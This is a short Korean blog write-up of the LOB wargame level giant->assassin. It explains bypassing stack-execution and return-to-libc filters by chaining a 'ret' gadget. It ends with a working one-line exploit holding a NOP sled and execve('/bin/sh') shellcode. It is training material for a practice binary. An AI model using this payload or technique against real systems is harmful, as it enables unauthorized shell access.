LOB giant->assassin
by St1tch문제를 보면 우선 스택영역에서 실행을 못하게 되어있고, RTL을 하지 못하도록 필터링 되어있다.
또한 buf와 sfp를 이용하지 못하도록 초기화도 시킨다.
여기서 생각할 수 있는 방법은 ret를 적절한 곳으로 돌려야 하는데, ret를 호출하는 곳의 주소로 돌리면 된다.
드래그 한 부분으로 돌리면 ret가 한번 더 실행된다. 그때의 ret주소는 그때의 ebp값이 된다.
(ret = pop eip, mov eip 이 두개의 명령어 역할을 한다고 보면 된다.)
따라서 최상위 바이트가 08로 시작하므로 필터링에 걸리지 않고 원하는 부분으로 이동하게 된다.
공격을 할때의 스택구조를 그려보면 다음과 같다.
ret를 &argv[2]로 했는데, 이를 환경변수의 주소로 사용해도 좋고 system함수의 주소를 넣고 ebp+10의 주소에 /bin/sh주소를 넣어줘도 상관없다.
이게 편해서 나는 &argv[2]의 주소를 이용해 exploit을 작성했다.
대략적인 argv[2]의 주소를 알기 위해 A 43개 B 25개를 넣고 스택을 살펴보았다.
여기서의 &argv[2]의 값은 0xbffffdfc이다.
하지만 실제 쉘코드에 nop sled를 128개 넣을거라 거의 segment fault가 발생한다고 생각하고 대략적으로만 알면된다.
위 주소로 실행을 했을때 segment fault가 떠서 core파일을 분석해서 정확한 argv[2]의 주소를 알아냈다.
<exploit>
`python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\xd0\xfd\xff\xbf"'` `python -c 'print "\x90"*128 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
블로그의 정보
튜기's blogg(st1tch)
St1tch